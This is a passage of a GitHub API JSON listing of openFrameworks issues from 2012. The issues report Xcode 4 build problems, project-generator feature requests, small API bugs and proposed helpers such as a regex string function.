Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1130,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","assignee":null,"title":"Define standard header for examples.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-31T14:44:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3910580,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1129,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-31T14:39:04Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3910555,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","comments":1,"milestone":null,"number":1128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","assignee":null,"title":"upgrade scripts","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T14:38:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3910549,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","assignee":null,"title":"PG Feature request: Clean examples folder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-30T12:51:30Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3897090,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","comments":0,"milestone":null,"number":1124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","assignee":null,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-29T16:47:29Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":31100},"id":3883598,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","comments":2,"milestone":null,"number":1120,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","assignee":null,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-28T16:21:45Z","state":"open","user":{"url":"https://api.github.com/users/imanhp","gravatar_id":"7398ab0bbd07832d0289f26773e65077","login":"imanhp","avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1216228},"id":3856005,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1118,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Default paths.make for Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2012-03-28T12:19:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3850655,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","comments":0,"milestone":null,"number":1117,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","assignee":null,"title":"Can't retrieve desired frame rate once set","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-27T11:48:00Z","state":"open","user":{"url":"https://api.github.com/users/armadillu","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","login":"armadillu","avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167057},"id":3825582,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","comments":5,"milestone":null,"number":1116,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","assignee":null,"title":"ofVBO updateIndexData incorrect buffer type.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-26T18:26:05Z","state":"open","user":{"url":"https://api.github.com/users/vade","gravatar_id":"37aca214d4875cd90af9d67072c82642","login":"vade","avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":65011},"id":3813852,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","comments":3,"milestone":null,"number":1115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","assignee":null,"title":"optimization level in xcode projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":null,"created_at":"2012-03-26T17:05:14Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1239872},"id":3812318,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","comments":1,"milestone":null,"number":1114,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","assignee":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"title":"macros in ofArduino","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-26T17:02:21Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1239872},"id":3812275,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","comments":9,"milestone":null,"number":1112,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","assignee":null,"title":"Issue with QtKitMovieGrabberExample in apps/devapps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-26T12:11:44Z","state":"open","user":{"url":"https://api.github.com/users/OlexandrStepanov","gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","login":"OlexandrStepanov","avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":971079},"id":3807459,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","comments":1,"milestone":null,"number":1110,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","assignee":null,"title":"add a simple regex function like ofSplitString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-25T18:56:37Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3799872,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","comments":3,"milestone":null,"number":1109,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","assignee":null,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-25T18:18:28Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3799653,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","comments":7,"milestone":null,"number":1108,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"title":"easyCam weird behavior when target changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-25T00:01:54Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":3795495,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 